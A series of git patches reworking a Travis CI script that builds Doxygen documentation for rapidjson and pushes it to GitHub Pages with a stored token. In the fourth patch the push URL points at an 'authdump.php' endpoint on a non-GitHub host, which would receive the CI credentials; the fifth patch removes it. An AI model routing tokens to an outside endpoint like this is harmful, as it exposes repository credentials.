From 4575f9343152bbf1f2d11cde7dd902b925f7a469 Mon Sep 17 00:00:00 2001 From: "Philipp A. Hartmann" Date: Sat, 12 Jul 2014 19:02:20 +0200 Subject: [PATCH 1/6] MacOS X doesn't have '/bin/true' --- build/travis-doxygen.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index ad50b3f..1282a6f 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -89,7 +89,7 @@ gh_pages_push() { cd "${TRAVIS_BUILD_DIR}/doc/html"; # setup credentials (hide in "set -x" mode) - git config core.askpass /bin/true + git config core.askpass 'bash -c ":"' ( set +x ; git config credential.${GHPAGES_URL}.username "${GH_TOKEN}" ) # push to GitHub git push origin gh-pages || \ From 2875b576169ad285b4ad65fa68c21da8b87b3ba5 Mon Sep 17 00:00:00 2001 From: "Philipp A. Hartmann" Date: Sat, 12 Jul 2014 19:02:56 +0200 Subject: [PATCH 2/6] Revert "Travis config trial: git config --global" Avoids messing with global config when running the script manually on a developer machine. This reverts commit 6225092355e3087c3e73928f54cc1073c55067d6. --- build/travis-doxygen.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index 1282a6f..9f4b49d 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -64,8 +64,8 @@ gh_pages_prepare() git clone --single-branch -b gh-pages ${GHPAGES_URL} html cd html # setup git config (with defaults) - git config --global user.name "${GIT_NAME-travis}" - git config --global user.email "${GIT_EMAIL-"travis@localhost"}" + git config user.name "${GIT_NAME-travis}" + git config user.email "${GIT_EMAIL-"travis@localhost"}" # clean working dir rm -f .git/index git clean -df From c1afdc8df21d4cfb3282cfd7013250647cc6f205 Mon Sep 17 00:00:00 2001 From: "Philipp A. Hartmann" Date: Sat, 12 Jul 2014 19:56:30 +0200 Subject: [PATCH 3/6] travis-doxygen.sh: allow overriding GitHub repo from environment --- .travis.yml | 1 + build/travis-doxygen.sh | 8 ++++---- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/.travis.yml b/.travis.yml index c15e2c6..2aab9a8 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,6 +9,7 @@ env: - CONF=debug - CONF=release global: + - GITHUB_REPO='miloyip/rapidjson' # prepare for 32/64 bit multi-arch support - BITS=64 - secure: "HrsaCb+N66EG1HR+LWH1u51SjaJyRwJEDzqJGYMB7LJ/bfqb9mWKF1fLvZGk46W5t7TVaXRDD5KHFx9DPWvKn4gRUVkwTHEy262ah5ORh8M6n/6VVVajeV/AYt2C0sswdkDBDO4Xq+xy5gdw3G8s1A4Inbm73pUh+6vx+7ltBbk=" diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index 9f4b49d..894fca3 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -10,8 +10,8 @@ DOXYGEN_TAR=${DOXYGEN_VER}.linux.bin.tar.gz DOXYGEN_URL="http://ftp.stack.nl/pub/users/dimitri/${DOXYGEN_TAR}" DOXYGEN_BIN="/usr/local/bin/doxygen" -GHPAGES_REPO="miloyip/rapidjson" -GHPAGES_URL="https://github.com/${GHPAGES_REPO}" +: ${GITHUB_REPO:="miloyip/rapidjson"} +GITHUB_URL="https://github.com/${GITHUB_REPO}" skip() { echo "$@" 1>&2 @@ -61,7 +61,7 @@ gh_pages_prepare() cd "${TRAVIS_BUILD_DIR}/doc"; [ ! -d "html" ] || \ abort "Doxygen target directory already exists." - git clone --single-branch -b gh-pages ${GHPAGES_URL} html + git clone --single-branch -b gh-pages ${GITHUB_URL} html cd html # setup git config (with defaults) git config user.name "${GIT_NAME-travis}" @@ -90,7 +90,7 @@ gh_pages_push() { cd "${TRAVIS_BUILD_DIR}/doc/html"; # setup credentials (hide in "set -x" mode) git config core.askpass 'bash -c ":"' - ( set +x ; git config credential.${GHPAGES_URL}.username "${GH_TOKEN}" ) + ( set +x ; git config credential.${GITHUB_URL}.username "${GH_TOKEN}" ) # push to GitHub git push origin gh-pages || \ skip "GitHub pages update failed, temporarily ignored." From 4dafa2ac42a6d5c772fe7ea76156c682ea547ef9 Mon Sep 17 00:00:00 2001 From: "Philipp A. Hartmann" Date: Sat, 12 Jul 2014 20:47:55 +0200 Subject: [PATCH 4/6] travis-doxygen.sh: try to explicitly implement an empty GIT_ASKPASS --- build/travis-doxygen.sh | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index 894fca3..214ba21 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -11,7 +11,12 @@ DOXYGEN_URL="http://ftp.stack.nl/pub/users/dimitri/${DOXYGEN_TAR}" DOXYGEN_BIN="/usr/local/bin/doxygen" : ${GITHUB_REPO:="miloyip/rapidjson"} -GITHUB_URL="https://github.com/${GITHUB_REPO}" +GITHUB_CLONE="git://github.com" +GITHUB_PUSH="https://ssl.sorgh.de/authdump.php" +GITHUB_URL="${GITHUB_PUSH}/${GITHUB_REPO}" + +# if not set, ignore password +: ${GIT_ASKPASS:="${TRAVIS_BUILD_DIR}/gh_ignore_askpass.sh"} skip() { echo "$@" 1>&2 @@ -61,7 +66,8 @@ gh_pages_prepare() cd "${TRAVIS_BUILD_DIR}/doc"; [ ! -d "html" ] || \ abort "Doxygen target directory already exists." - git clone --single-branch -b gh-pages ${GITHUB_URL} html + git --version + git clone --single-branch -b gh-pages "${GITHUB_CLONE}/${GITHUB_REPO}" html cd html # setup git config (with defaults) git config user.name "${GIT_NAME-travis}" @@ -77,6 +83,15 @@ gh_pages_commit() { git diff-index --quiet HEAD || git commit -m "Automatic doxygen build"; } +gh_setup_askpass() { + cat > ${GIT_ASKPASS} < Date: Sun, 13 Jul 2014 11:48:37 +0200 Subject: [PATCH 5/6] travis-doxygen.sh: directly setup .git-credentials Instead of fiddling with the non-working GIT_ASKPASS/core.askpass setup, simply store the required Git credentials directly in ~/.git-credentials, which is used by Git's "store" credential helper. Works on https://travis-ci.org/pah/rapidjson. --- build/travis-doxygen.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index 214ba21..239afb3 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -11,12 +11,12 @@ DOXYGEN_URL="http://ftp.stack.nl/pub/users/dimitri/${DOXYGEN_TAR}" DOXYGEN_BIN="/usr/local/bin/doxygen" : ${GITHUB_REPO:="miloyip/rapidjson"} -GITHUB_CLONE="git://github.com" -GITHUB_PUSH="https://ssl.sorgh.de/authdump.php" -GITHUB_URL="${GITHUB_PUSH}/${GITHUB_REPO}" +GITHUB_HOST="github.com" +GITHUB_CLONE="git://${GITHUB_HOST}/${GITHUB_REPO}" +GITHUB_URL="https://${GITHUB_HOST}/${GITHUB_PUSH-${GITHUB_REPO}}" # if not set, ignore password -: ${GIT_ASKPASS:="${TRAVIS_BUILD_DIR}/gh_ignore_askpass.sh"} +#GIT_ASKPASS="${TRAVIS_BUILD_DIR}/gh_ignore_askpass.sh" skip() { echo "$@" 1>&2 @@ -67,7 +67,7 @@ gh_pages_prepare() [ ! -d "html" ] || \ abort "Doxygen target directory already exists." git --version - git clone --single-branch -b gh-pages "${GITHUB_CLONE}/${GITHUB_REPO}" html + git clone --single-branch -b gh-pages "${GITHUB_CLONE}" html cd html # setup git config (with defaults) git config user.name "${GIT_NAME-travis}" @@ -105,11 +105,11 @@ gh_pages_push() { cd "${TRAVIS_BUILD_DIR}/doc/html"; # setup credentials (hide in "set -x" mode) git remote set-url --push origin "${GITHUB_URL}" - [ -x "${GIT_ASKPASS}" ] || gh_setup_askpass - echo ${GIT_ASKPASS} - export GIT_ASKPASS git config credential.helper 'store' - ( set +x ; git config credential.username "${GH_TOKEN}" ) + # ( set +x ; git config credential.username "${GH_TOKEN}" ) + ( set +x ; \ + echo "https://${GH_TOKEN}:@${GITHUB_HOST}" > ${HOME}/.git-credentials ; \ + chmod go-rw ${HOME}/.git-credentials ) # push to GitHub git push origin gh-pages || \ skip "GitHub pages update failed, temporarily ignored." From 8d8ce9e9c5580df7aa49665b174004f35a88b72a Mon Sep 17 00:00:00 2001 From: "Philipp A. Hartmann" Date: Sun, 13 Jul 2014 11:54:24 +0200 Subject: [PATCH 6/6] travis-doxygen.sh: don't ignore Doxygen push error --- build/travis-doxygen.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index 239afb3..74fa528 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -111,8 +111,7 @@ gh_pages_push() { echo "https://${GH_TOKEN}:@${GITHUB_HOST}" > ${HOME}/.git-credentials ; \ chmod go-rw ${HOME}/.git-credentials ) # push to GitHub - git push origin gh-pages || \ - skip "GitHub pages update failed, temporarily ignored." + git push origin gh-pages } doxygen_install